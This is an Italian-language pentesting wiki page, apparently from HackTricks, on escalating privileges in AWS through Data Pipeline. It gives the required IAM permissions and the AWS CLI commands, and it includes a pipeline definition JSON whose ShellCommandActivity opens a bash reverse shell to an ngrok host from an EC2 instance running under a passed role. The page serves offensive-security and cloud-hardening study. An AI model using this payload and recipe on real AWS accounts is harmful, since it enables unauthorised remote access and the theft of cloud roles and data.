2.4 KiB
AWS - Datapipeline Privesc
{{#include ../../../banners/hacktricks-training.md}}
datapipeline
Per ulteriori informazioni su datapipeline controlla:
{{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md {{#endref}}
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Gli utenti con queste autorizzazioni possono elevare i privilegi creando un Data Pipeline per eseguire comandi arbitrari utilizzando le autorizzazioni del ruolo assegnato:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Dopo la creazione della pipeline, l'attaccante aggiorna la sua definizione per dettare azioni specifiche o creazioni di risorse:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Nota che il ruolo nelle righe 14, 15 e 27 deve essere un ruolo assumibile da datapipeline.amazonaws.com e il ruolo nella riga 28 deve essere un ruolo assumibile da ec2.amazonaws.com con un profilo istanza EC2.
Inoltre, l'istanza EC2 avrà accesso solo al ruolo assumibile dall'istanza EC2 (quindi puoi solo rubare quello).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
Il file di definizione della pipeline, creato dall'attaccante, include direttive per eseguire comandi o creare risorse tramite l'API AWS, sfruttando i permessi di ruolo del Data Pipeline per potenzialmente ottenere privilegi aggiuntivi.
Impatto Potenziale: Privesc diretto al ruolo di servizio ec2 specificato.
Riferimenti
{{#include ../../../banners/hacktricks-training.md}}